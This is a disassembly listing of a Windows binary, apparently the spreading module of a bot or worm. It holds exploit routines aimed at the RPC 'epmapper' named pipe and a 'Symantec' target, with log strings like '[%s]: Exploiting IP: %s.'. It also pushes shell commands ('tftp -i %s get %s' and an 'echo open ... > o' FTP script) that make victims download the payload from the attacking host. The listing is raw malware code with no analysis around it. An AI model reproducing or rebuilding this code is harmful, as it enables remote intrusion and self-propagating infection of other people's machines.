loc_40D99C: ; CODE XREF: sub_40D977+19j ; sub_40D977+1Dj push ecx call sub_41D65F pop ecx loc_40D9A3: ; CODE XREF: sub_40D977+8j ; sub_40D977+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D977 endp ; =============== S U B R O U T I N E ======================================= sub_40D9B3 proc near ; CODE XREF: ___:0040D6D3p ; sub_40DB0C+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D8F2 test al, al jz short loc_40D9E1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D9E1: ; CODE XREF: sub_40D9B3+12j mov eax, esi pop edi pop esi retn 8 sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p ; sub_40D824+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D9FB call sub_426173 loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj mov ecx, edi call sub_40DB0C mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DA11 mov ebx, eax loc_40DA11: ; CODE XREF: sub_40D9E8+25j test ebx, ebx jbe short loc_40DA47 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D670 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D8F2 test al, al jz short loc_40DA47 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj ; sub_40D9E8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D9E8 endp ; =============== S U B R O U T I N E ======================================= sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p mov eax, offset loc_426AD0 call sub_41D640 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40DA75 mov edi, [ebp+8] loc_40DA75: ; CODE XREF: sub_40DA4F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40DA82 xor eax, eax loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj push eax call sub_41D9A5 pop ecx mov [ebp+8], eax jmp short loc_40DAB3 ; --------------------------------------------------------------------------- loc_40DA8E: ; DATA XREF: ___:00427F84o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40DA9D xor eax, eax loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj push eax call sub_41D9A5 mov [ebp+8], eax pop ecx mov eax, offset loc_40DAAD retn ; --------------------------------------------------------------------------- loc_40DAAD: ; DATA XREF: sub_40DA4F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40DAD1 cmp eax, edi jbe short loc_40DAC0 mov eax, edi loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41CD20 add esp, 0Ch loc_40DAD1: ; CODE XREF: sub_40DA4F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D977 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40DAF1 mov edi, ebx loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40DA4F endp ; =============== S U B R O U T I N E ======================================= sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DB39 mov al, [esi-1] test al, al jz short loc_40DB39 cmp al, 0FFh jz short loc_40DB39 push 1 call sub_40D977 push esi call sub_41B9C0 pop ecx push eax push esi mov ecx, edi call sub_40D9B3 loc_40DB39: ; CODE XREF: sub_40DB0C+9j ; sub_40DB0C+10j ... pop edi pop esi retn sub_40DB0C endp ; =============== S U B R O U T I N E ======================================= sub_40DB3C proc near ; DATA XREF: ___:00429008o test byte_4DC018, 1 jnz short loc_40DB4C or byte_4DC018, 1 loc_40DB4C: ; CODE XREF: sub_40DB3C+7j jmp $+5 push offset nullsub_1 call sub_41DA20 pop ecx retn sub_40DB3C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB5E proc near ; CODE XREF: ___:0040DF74p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset off_432940 lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43DB88 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call near ptr 2710000h nop lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CE6F4 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4CBA74 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC22 cmp eax, ebx jnz short loc_40DC2C loc_40DC22: ; CODE XREF: sub_40DB5E+BEj push edi push edi push edi push esi call dword_4CBA74 loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j cmp eax, 5 jz short loc_40DC3A cmp eax, ebx jz short loc_40DC3A push 1 pop eax jmp short loc_40DC3C ; --------------------------------------------------------------------------- loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j ; sub_40DB5E+D5j xor eax, eax loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj pop edi pop esi pop ebx leave retn sub_40DB5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC41 proc near ; CODE XREF: ___:0040DFC6p ; ___:0040E0A6p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset off_432940 lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43DB88 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call near ptr 2710000h nop lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 add esp, 10h loc_40DCD2: ; CODE XREF: sub_40DC41+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_4CB90C test eax, eax jz short loc_40DCF2 push 7D0h call near ptr 2680EF8h nop jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DCF2: ; CODE XREF: sub_40DC41+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCF9 proc near ; CODE XREF: ___:0040DFF5p ; ___:0040E133p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C500 push esi push edi push offset byte_429108 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B22B mov edi, eax add esp, 10h test edi, edi jz loc_40DF48 push ebx mov ebx, offset off_43285C push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_41CD20 add esp, 24h lea esi, [edi+0D7h] loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDCE mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_41CD20 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD7E ; --------------------------------------------------------------------------- loc_40DDCE: ; CODE XREF: sub_40DCF9+90j cmp [ebp+arg_C4], 0 jz short loc_40DDE9 cmp [ebp+arg_C0], 3 jz short loc_40DDF2 cmp [ebp+arg_C0], 0 jmp short loc_40DDF0 ; --------------------------------------------------------------------------- loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj cmp [ebp+arg_C0], 3 loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj jnz short loc_40DDFB loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j push 4 push offset dword_43293C jmp short loc_40DE02 ; --------------------------------------------------------------------------- loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j push 4 push offset dword_432938 loc_40DE02: ; CODE XREF: sub_40DCF9+100j lea eax, [ebp+var_1FE0] push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_432470 push eax call sub_41CD20 push 10h lea eax, [ebp+var_CA4] push offset dword_4327D4 push eax call sub_41CD20 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_41CD20 lea edi, [esi+370h] push 3Ch push offset off_4327E8 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 add edi, 3Ch push 30h push offset dword_432828 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BEB5 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BF70 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_41CD20 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej pop edi pop esi leave retn sub_40DCF9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C500 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0BA lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB5E pop ecx test eax, eax pop ecx jz loc_40E1CA lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41C266 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 2730000h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFD1 loc_40DFC2: ; CODE XREF: ___:0040E072j lea eax, [ebp+0Ch] push eax call sub_40DC41 pop ecx jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40DFD1: ; CODE XREF: ___:0040DFC0j lea eax, [ebp+0Ch] push 2 push eax call sub_4182CD pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E069 mov edi, 186A0h push edi call sub_41BEB5 mov esi, eax push edi push ebx push esi call sub_41BF70 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_432424 push dword ptr [ebp-4] nop call near ptr 27208DAh cmp byte ptr [esi+2], 0Ch jnz short loc_40E059 lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] nop call near ptr 2720000h test eax, eax jnz short loc_40E077 loc_40E059: ; CODE XREF: ___:0040E03Fj push esi call sub_41BA91 push dword ptr [ebp-8] call sub_41BA91 pop ecx pop ecx loc_40E069: ; CODE XREF: ___:0040E005j push dword ptr [ebp-4] call near ptr 2670770h nop jmp loc_40DFC2 ; --------------------------------------------------------------------------- loc_40E077: ; CODE XREF: ___:0040E057j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] call near ptr 271129Ah nop push dword ptr [ebp-8] mov edi, eax call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx push dword ptr [ebp-4] nop call near ptr 2670770h lea eax, [ebp+0Ch] push eax call sub_40DC41 cmp edi, 1 pop ecx jnz loc_40E1DE jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40E0BA: ; CODE XREF: ___:0040DF66j lea eax, [ebp+0Ch] push 1 push eax call sub_4182CD mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1CA xor ebx, ebx push ebx push 1 push 2 call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1CA push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4CB9D4 mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E14C push dword ptr [ebp-4] jmp short loc_40E1C4 ; --------------------------------------------------------------------------- loc_40E14C: ; CODE XREF: ___:0040E145j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_40E164 loc_40E161: ; CODE XREF: ___:0040E176j push esi jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E164: ; CODE XREF: ___:0040E15Fj push ebx push 48h push offset dword_432424 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E161 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E1A5 push dword ptr [ebp-8] jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E1A5: ; CODE XREF: ___:0040E19Ej push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1D1 loc_40E1BD: ; CODE XREF: ___:0040E162j ; ___:0040E1A3j call sub_41BA91 pop ecx push edi loc_40E1C4: ; CODE XREF: ___:0040E14Aj call dword_4CBA6C loc_40E1CA: ; CODE XREF: ___:0040DF7Dj ; ___:0040DFCCj ... xor eax, eax jmp loc_40E28D ; --------------------------------------------------------------------------- loc_40E1D1: ; CODE XREF: ___:0040E1BBj call sub_41BA91 pop ecx push edi call dword_4CBA6C loc_40E1DE: ; CODE XREF: ___:0040E0AFj lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41C266 add esp, 0Ch xor esi, esi loc_40E1F8: ; CODE XREF: ___:0040E218j lea eax, [ebp-234h] push eax call sub_415E19 test eax, eax pop ecx jnz short loc_40E21C push 1388h nop call near ptr 2680EF8h inc esi cmp esi, 6 jl short loc_40E1F8 jmp short loc_40E28A ; --------------------------------------------------------------------------- loc_40E21C: ; CODE XREF: ___:0040E207j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_41C266 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E268 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 add esp, 14h loc_40E268: ; CODE XREF: ___:0040E249j lea eax, [ebp-234h] push eax call sub_415D38 mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E28A: ; CODE XREF: ___:0040E21Aj push 1 pop eax loc_40E28D: ; CODE XREF: ___:0040E1CCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4CBA14 mov [ebp+var_C], eax mov ax, word_433290 push eax call dword_4CB9D4 push esi push 1 push 2 mov [ebp+var_E], ax call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E3CA lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40E3CA push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC mov edi, offset byte_429108 push edi push edi push [ebp+arg_0] call sub_40AA06 pop ecx mov esi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 18h push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E3CA push 1F4h nop call near ptr 2680EF8h push edi push offset dword_42A2E8 lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E3CE loc_40E3CA: ; CODE XREF: sub_40E292+51j ; sub_40E292+67j ... xor al, al jmp short loc_40E3EC ; --------------------------------------------------------------------------- loc_40E3CE: ; CODE XREF: sub_40E292+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC push ebx call dword_4CBA6C mov al, 1 loc_40E3EC: ; CODE XREF: sub_40E292+13Aj pop edi pop esi pop ebx leave retn sub_40E292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3F1 proc near ; CODE XREF: ___:0040E946p ; ___:0040E968p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_41C500 mov eax, dword_43341C push ebx mov [ebp+var_10], eax mov eax, dword_433420 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_433410 push eax call sub_41C266 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40E430: ; CODE XREF: sub_40E3F1+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40E430 push 60h lea eax, [ebp+var_B4] push offset dword_432EA0 push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_41CD20 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_41B9C0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_41CD20 mov ax, word_433290 add esp, 2Ch push eax call dword_4CB9D4 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_432BA0 call sub_41CD20 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40E5ED mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_41BF70 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4332D0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_41CD20 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_41CD20 push 4 lea eax, [ebp+var_11AC] push offset loc_433408 push eax call sub_41CD20 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_41CD20 add esp, 40h push esi call sub_41B9C0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_41CD20 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_40E5A6 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_41BF70 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_41BF70 add esp, 18h jmp short loc_40E644 ; --------------------------------------------------------------------------- loc_40E5ED: ; CODE XREF: sub_40E3F1+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_41BF70 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_41CD20 lea eax, [ebp+var_10] push eax call sub_41B9C0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_41CD20 mov eax, dword_4332D0 add esp, 2Ch mov [ebp+var_768], eax loc_40E644: ; CODE XREF: sub_40E3F1+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_41BF70 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E683 loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j ; sub_40E3F1+2E0j ... xor al, al jmp loc_40E82B ; --------------------------------------------------------------------------- loc_40E683: ; CODE XREF: sub_40E3F1+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 68h push offset dword_432F04 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 0A0h push offset dword_432F70 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC cmp [ebp+arg_C0], ebx jz loc_40E799 push 68h lea eax, [ebp+var_89B4] push offset dword_433128 push eax call sub_41CD20 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_41CD20 push 70h lea eax, [ebp+var_68DC] push offset dword_433194 push eax call sub_41CD20 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_41CD20 push 84h lea eax, [ebp+var_5DA8] push offset dword_433208 push eax call sub_41CD20 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40E7EF ; --------------------------------------------------------------------------- loc_40E799: ; CODE XREF: sub_40E3F1+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_433014 push eax call sub_41CD20 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_41CD20 push 90h lea eax, [ebp+var_245C] push offset off_433094 push eax call sub_41CD20 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_40E67C push 12Ch nop call near ptr 2680EF8h sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E292 add esp, 0BCh test al, al setnz al loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj pop edi pop esi pop ebx leave retn sub_40E3F1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41BF70 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_4CB9D4 push 6 push 1 push 2 mov [ebp-12h], ax call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E929 lea eax, [ebp-14h] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40E929 push edi push 89h push offset dword_432C88 